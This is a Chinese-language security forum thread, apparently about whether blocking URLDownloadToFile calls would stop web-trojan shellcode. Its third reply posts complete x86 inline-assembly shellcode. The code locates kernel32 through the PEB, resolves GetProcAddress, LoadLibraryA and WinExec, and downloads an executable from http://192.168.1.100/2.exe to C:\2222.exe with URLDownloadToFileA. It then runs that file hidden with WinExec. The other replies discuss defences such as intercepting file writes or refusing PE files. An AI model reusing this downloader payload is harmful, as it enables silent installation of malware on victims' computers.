能力值:
( LV2,RANK:10 )
|
-
-
2 楼
拦执行不是更好
|
能力值:
( LV4,RANK:50 )
|
-
-
3 楼
/*
在peb中找到kernel32的地址:
1、fs指向teb结构
2、在teb+0x30地方指向peb结构
3、在peb+0x0c地方指向PEB_LDR_DATA结构
4、在PEB_LDR_DATA+0x1c地方就是一些动态连接库的地址了,如第一个指向ntdll.dll 第二个就是我们需要的kernel32.dll的地址
*/
extra_data_start:
__asm
{
push ebp;
sub esp, 0x160;
mov ebp,esp;
push ebp;
mov eax, fs:0x30 ;fs:0x30指向PEB
mov eax, [eax + 0x0c] ;获取PEB_LDR_DATA结构的指针
mov esi, [eax + 0x1c] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
lodsd
mov edi, [eax + 0x08] ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
mov eax, [edi+3Ch] ;指向IMAGE_NT_HEADERS
mov edx, [edi+eax+78h] ;指向导出表
add edx,edi
mov ecx, [edx+18h] ;取导出表中导出函数名字的数目
mov ebx, [edx+20h] ;取导出表中名字表的地址
add ebx,edi
search:
dec ecx
mov esi, [ebx+ecx*4]
add esi,edi
;GetProcAddress
mov eax,0x50746547
cmp [esi], eax;比较"PteG"
jne search
mov eax,0x41636f72
cmp [esi+4],eax; "Acor"
jne search
mov ebx,[edx+24h] ;取得导出表中序号表的地址
add ebx,edi
mov cx,[ebx+ecx*2] ;取得进入函数地址表的序号
mov ebx,[edx+1Ch] ;取得函数地址表的地址
add ebx,edi
mov eax,[ebx+ecx*4] ;取得GetProcAddress函数的地址
add eax,edi
mov [ebp+40h], eax ;把GetProcAddress函数的地址保存到[ebp+40h]
;开始查找 LoadLibrary的地址,先构造"LoadLibrary\0"
push 0x0
push dword ptr 0x41797261
push dword ptr 0x7262694c
push dword ptr 0x64616f4c
push esp
push edi
call [ebp+40h] ;GetProcAddress(Kernel32基址, "LoadLibraryA")
mov [ebp+44h], eax;把LoadLibraryA的地址存在ebp+0x44中
push dword ptr 0x00636578 ;构造WinExec字符
push dword ptr 0x456E6957
push esp
push edi
call [ebp+40h] ;GetProcAddress(Kernel32基址,"WinExec")
mov [ebp+4], eax ;[ebp+4]保存WinExec地址
;
push dword ptr 0x00006e6f ;on
push dword ptr 0x6d6c7275 ;urlm
push esp
call [ebp+44h] ;LoadLibrary(urlmon)
mov edi, eax
push dword ptr 0x00004165 ;eA
push dword ptr 0x6c69466f ;oFil
push dword ptr 0x5464616f ;oadT
push dword ptr 0x6c6e776f ;ownl
push dword ptr 0x444c5255 ;URLD
push esp
push edi
call [ebp+40h] ;GetProcAddress(urlmon基址,"URLDownloadToFileA")
mov [ebp+8], eax; URLDownloadToFileA
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 0
push 0
call Func1
_emit 'c'
_emit ':'
_emit '\\'
_emit '2'
_emit '2'
_emit '2'
_emit '2'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit '\0'
Func1:
pop edi;
push edi;
call Func2
_emit 'h'
_emit 't'
_emit 't'
_emit 'p'
_emit ':'
_emit '/'
_emit '/'
_emit '1'
_emit '9'
_emit '2'
_emit '.'
_emit '1'
_emit '6'
_emit '8'
_emit '.'
_emit '1'
_emit '.'
_emit '1'
_emit '0'
_emit '0'
_emit '/'
_emit '2'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit '\0';
Func2:
pop edi;
push edi;
push 0
call [ebp+8] ; 调用 URLDownloadToFileA(null,"http://192.168.1.100/2.exe","C:\2222.exe",null,null)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 0
call EXEC;
_emit 'c';
_emit ':';
_emit '\\';
_emit '2';
_emit '2';
_emit '2';
_emit '2';
_emit '.';
_emit 'e';
_emit 'x';
_emit 'e';
_emit '\0'; //运行程序的名字,
EXEC:
pop edi;
push edi;
call [ebp+4] ; 调用 WinExec("c:\2222.exe",SW_HIDE)
add esp, 0x160;
pop ebp;
}
extra_data_end:
|
能力值:
( LV9,RANK:610 )
|
-
-
4 楼
楼主随便找几个下载者研究一下就啥都清楚了,你就会发现你的想法有多幼稚~
|
能力值:
( LV12,RANK:760 )
|
-
-
5 楼
拦截写文件比较方便.发现没有下载的框的写文件,直接拒绝~
|
能力值:
( LV9,RANK:610 )
|
-
-
6 楼
此框可隐藏否?
|
能力值:
( LV9,RANK:610 )
|
-
-
7 楼
此框可隐藏否?
|
能力值:
( LV13,RANK:290 )
|
-
-
8 楼
shellcode也利用下载框
|
能力值:
( LV11,RANK:188 )
|
-
-
9 楼
杀软拦截 API调用时 会不会判断 返回后的地址在哪个模块?
注入IE后再调用URLDownloadToFile是最常见的 下载者。
|
能力值:
( LV3,RANK:20 )
|
-
-
10 楼
PS:可能我表达有误。我是说防网马,SHELLCODE里都URLDOWNLOADTOFILE 然后WINEXEC,所以拦URLDOWNLOAD就OK了。。
至于下载者,有EXE或者DLL,下载的方法太多,拦也没什么意义。
|
能力值:
( LV3,RANK:20 )
|
-
-
11 楼
NETKNIGHT 贴的是个下载代码吧。汇编看不太懂。
哈哈
|
能力值:
( LV12,RANK:760 )
|
-
-
12 楼
能~
无所谓的,拒绝直接PE文件就行了~
|